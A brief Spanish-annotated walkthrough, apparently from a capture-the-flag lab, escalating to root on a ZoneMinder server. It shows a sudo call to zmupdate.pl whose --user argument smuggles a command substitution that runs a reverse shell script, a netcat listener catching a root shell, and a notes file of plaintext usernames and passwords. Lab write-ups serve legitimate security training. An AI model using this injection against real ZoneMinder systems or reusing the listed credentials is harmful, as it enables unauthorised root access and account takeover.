#Nos dirigimos a:

zoneminder@surveillance:/usr/share/zoneminder/db$ pwd
pwd
/usr/share/zoneminder/db

#Añadiremos una acutalizacón .sql con el reverse shell.
#La pass la tenemos de la bbdd anterior.
pass: ZoneMinderPassword2023

sudo /usr/bin/zmupdate.pl --version=1 --user='$(/tmp/reverse.sh.2)' --pass=ZoneMinderPassword2023

nc -nlvp 6666
whoami
root

creeds.txt

user:matthew
passwd:starcraft122490
db_passwd:ZoneMinderPassword2023